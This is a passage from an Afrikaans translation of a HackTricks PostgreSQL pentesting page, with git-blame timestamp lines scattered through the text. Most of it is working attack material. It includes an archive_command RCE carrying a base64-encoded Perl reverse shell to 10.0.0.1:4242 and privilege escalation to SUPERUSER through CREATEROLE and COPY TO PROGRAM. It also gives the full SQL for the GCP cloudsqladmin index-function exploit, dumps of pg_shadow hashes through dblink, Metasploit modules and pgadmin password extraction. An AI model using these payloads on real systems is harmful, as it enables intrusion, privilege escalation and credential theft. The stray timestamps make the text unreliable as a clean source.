Tydens die toets van hierdie het ek opgemerk dat dit slegs sal werk as die **privaatsleutel-lêer bevoegdhede 640** het, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is.
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
#### **RCE met archive\_command**
2024-02-11 02:07:06 +00:00
**Meer** [**inligting oor hierdie konfigurasie en oor WAL hier**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
2024-02-08 21:36:15 +00:00
2024-02-11 02:07:06 +00:00
'n Ander eienskap in die konfigurasie-lêer wat uitgebuit kan word, is `archive_command`.
2024-02-11 02:07:06 +00:00
Om dit te laat werk, moet die `archive_mode`-instelling `'on'` of `'always'` wees. As dit waar is, kan ons die opdrag in `archive_command` oorskryf en dit dwing om uitgevoer te word via die WAL (write-ahead logging) operasies.
2024-02-11 02:07:06 +00:00
Die algemene stappe is:
2024-02-11 02:07:06 +00:00
1. Kontroleer of argiefmodus geaktiveer is: `SELECT current_setting('archive_mode')`
2. Oorskryf `archive_command` met die payload. Byvoorbeeld, 'n omgekeerde dop: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Laai die konfigurasie weer: `SELECT pg_reload_conf()`
4. Dwang die WAL-operasie om uit te voer, wat die argiefopdrag sal oproep: `SELECT pg_switch_wal()` of `SELECT pg_switch_xlog()` vir sommige Postgres-weergawes
2022-10-07 12:55:24 +00:00
## **Postgres Privesc**
2022-10-07 12:55:24 +00:00
### CREATEROLE Privesc
2022-10-07 12:55:24 +00:00
#### **Grant**
2024-02-11 02:07:06 +00:00
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle wat die **`CREATEROLE`**-bevoegdheid het, kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **supergebruiker** is nie._
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie supergebruiker is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
2022-10-07 12:55:24 +00:00
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
2024-02-11 02:07:06 +00:00
#### Verander Wagwoord
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
Gebruikers met hierdie rol kan ook die wagwoorde van ander nie-supergebruikers **verander**:
2022-10-07 12:55:24 +00:00
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
2024-02-11 02:07:06 +00:00
#### Privesc na SUPERUSER
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan inlog in PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings het om kode uit te voer**, kan jy hierdie toestemmings misbruik om die **`SUPERUSER`** rol te verkry:
2022-10-07 12:55:24 +00:00
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
Dit is gewoonlik moontlik as gevolg van die volgende lyne in die **`pg_hba.conf`** lêer:
2022-10-07 12:55:24 +00:00
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
2024-02-11 02:07:06 +00:00
### **ALTER TABEL privesc**
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
In [**hierdie skryfstuk**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te doen deur misbruik te maak van die ALTER TABEL-voorreg wat aan die gebruiker verleen is.
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
Wanneer jy probeer om 'n **ander gebruiker eienaar van 'n tabel** te maak, behoort jy 'n **fout** te kry wat dit verhoed, maar blykbaar het GCP daardie **opsie aan die nie-supergebruiker postgres-gebruiker** gegee:
2022-10-08 16:35:25 +00:00
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)-opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag **geroep** met die **eienaar se toestemmings**. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE uit te voer oor die tabel met die skadelike funksie wat opdragte kan uitvoer omdat dit die voorregte van die eienaar gebruik.
2022-10-08 16:35:25 +00:00
```c
2024-02-11 02:07:06 +00:00
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
2022-10-08 16:35:25 +00:00
```
2024-02-11 02:07:06 +00:00
#### Uitbuiting
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
1. Begin deur 'n nuwe tabel te skep.
2. Voeg irrelevante inhoud by die tabel in om data vir die indeksfunksie te voorsien.
3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoerlading bevat, wat die uitvoering van ongemagtigde bevele moontlik maak.
4. ALTER die eienaar van die tabel na "cloudsqladmin," wat GCP se supergebruikersrol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
5. Voer 'n ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om oor te skakel na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin." Gevolglik word die skadelike indeksfunksie geroep met die toestemmings van "cloudsqladmin," wat die uitvoering van die voorheen ongemagtigde skilbevel moontlik maak.
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
In PostgreSQL lyk hierdie vloei soos volg:
2022-10-08 16:35:25 +00:00
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
2024-02-11 02:07:06 +00:00
2022-10-08 16:35:25 +00:00
INSERT INTO temp_table VALUES ('dummy content');
2024-02-11 02:07:06 +00:00
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
2022-10-08 16:35:25 +00:00
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
2024-02-11 02:07:06 +00:00
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
2022-10-08 16:35:25 +00:00
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
2024-02-11 02:07:06 +00:00
2022-10-08 16:35:25 +00:00
ALTER TABLE temp_table OWNER TO cloudsqladmin;
2024-02-11 02:07:06 +00:00
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
2022-10-08 16:35:25 +00:00
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
2024-02-11 02:07:06 +00:00
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
2022-10-08 16:35:25 +00:00
ANALYZE public.temp_table;
```
2024-02-11 02:07:06 +00:00
Dan sal die `shell_commands_results` tabel die uitvoer van die uitgevoerde kode bevat:
2022-10-08 16:35:25 +00:00
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
2024-02-11 02:07:06 +00:00
### Plaaslike Aantekening
2022-10-08 16:35:25 +00:00
2024-02-11 02:07:06 +00:00
Sommige verkeerd gekonfigureerde postgresql-instanties mag enige plaaslike gebruiker toelaat om aan te teken, dit is moontlik om plaaslik vanaf 127.0.0.1 aan te teken deur die **`dblink`-funksie** te gebruik:
2022-11-08 21:47:24 +00:00
```sql
2022-12-21 00:29:12 +00:00
\du * # Get Users
\l # Get databases
2022-11-08 21:47:24 +00:00
SELECT * FROM dblink('host=127.0.0.1
2024-02-11 02:07:06 +00:00
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
2022-12-21 00:29:12 +00:00
RETURNS (result TEXT);
2022-11-08 21:47:24 +00:00
```
2022-12-21 00:29:12 +00:00
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
Let daarop dat vir die vorige navraag om te werk, **moet die funksie `dblink` bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met
2022-12-21 00:29:12 +00:00
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
2024-02-11 02:07:06 +00:00
As jy die wagwoord van 'n gebruiker met meer bevoegdhede het, maar die gebruiker mag nie vanaf 'n eksterne IP-adres aanmeld nie, kan jy die volgende funksie gebruik om navrae uit te voer as daardie gebruiker:
2022-11-08 21:47:24 +00:00
```sql
SELECT * FROM dblink('host=127.0.0.1
2024-02-11 02:07:06 +00:00
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
2022-11-08 21:47:24 +00:00
```
2024-02-11 02:07:06 +00:00
Dit is moontlik om te kontroleer of hierdie funksie bestaan met:
2022-11-08 21:47:24 +00:00
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
2024-02-11 02:07:06 +00:00
### **Aangepaste gedefinieerde funksie met** SECURITY DEFINER
[**In hierdie uiteensetting**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), was pentesters in staat om privesc binne 'n postgres-instansie wat deur IBM voorsien word, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong> VOLATILE SECURITY DEFINER
</strong> PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
2022-12-24 11:52:08 +00:00
</code></pre>
2024-02-11 02:07:06 +00:00
Soos [**verduidelik in die dokumentasie**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwesbaar is vir SQL-injeksie** of as dit enige **voorregtehandelinge met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om voorregte binne postgres te **verhoog**.
2022-12-20 15:51:45 +00:00
2024-02-11 02:07:06 +00:00
In lyn 4 van die vorige kode kan jy sien dat die funksie die **SECURITY DEFINER**-vlag het.
2022-12-20 15:51:45 +00:00
```sql
2024-02-11 02:07:06 +00:00
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
2022-12-20 15:51:45 +00:00
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
2024-02-11 02:07:06 +00:00
En voer dan **opdragte uit**:
2022-12-20 15:51:45 +00:00
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2022-12-20 15:51:45 +00:00
2024-02-11 02:07:06 +00:00
### Pas Burteforce toe met PL/pgSQL
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
**PL/pgSQL** is 'n **volledig uitgeruste programmeringstaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van **lusse** en ander **beheerstrukture** moontlik om programlogika te verbeter. Daarbenewens het **SQL-opdragte** en **treffers** die vermoë om funksies aan te roep wat met die **PL/pgSQL-taal** geskep is. Hierdie integrasie maak 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering moontlik.\
**Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se geloofsbriewe te burteforce.**
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## **POST**
2021-11-12 01:11:08 +00:00
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
2024-02-11 02:07:06 +00:00
### logboekhouding
2024-02-11 02:07:06 +00:00
Binne die _**postgresql.conf**_ lêer kan jy postgresql-logboeke aktiveer deur die volgende te verander:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
2024-02-11 02:07:06 +00:00
Daarna, **herlaai die diens**.
2022-05-01 13:25:53 +00:00
### pgadmin
2024-02-11 02:07:06 +00:00
[pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind.\
Jy kan hulle ontsluit deur die _**decrypt**_ funksie binne die skripsie te gebruik: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
2022-10-07 12:55:24 +00:00
### pg\_hba
2024-02-11 02:07:06 +00:00
Kliëntverifikasie in PostgreSQL word hanteer deur middel van 'n konfigurasie-lêer genaamd **pg_hba.conf**. Hierdie lêer bevat 'n reeks rekords wat elk 'n verbindingskategorie, kliënt-IP-adresreeks (indien van toepassing), databasisnaam, gebruikersnaam en die verifikasiemetode spesifiseer wat gebruik moet word vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindingskategorie, kliëntadres, versoekte databasis en gebruikersnaam, word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
2022-10-07 14:00:19 +00:00
2024-02-11 02:07:06 +00:00
Die beskikbare wagwoordgebaseerde verifikasiemetodes in pg_hba.conf is **md5**, **crypt** en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-gekripteer of duidelike teks. Dit is belangrik om daarop te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid gekripteer is nie.
2022-10-07 12:55:24 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-11 02:07:06 +00:00
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
Kry vandag toegang:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}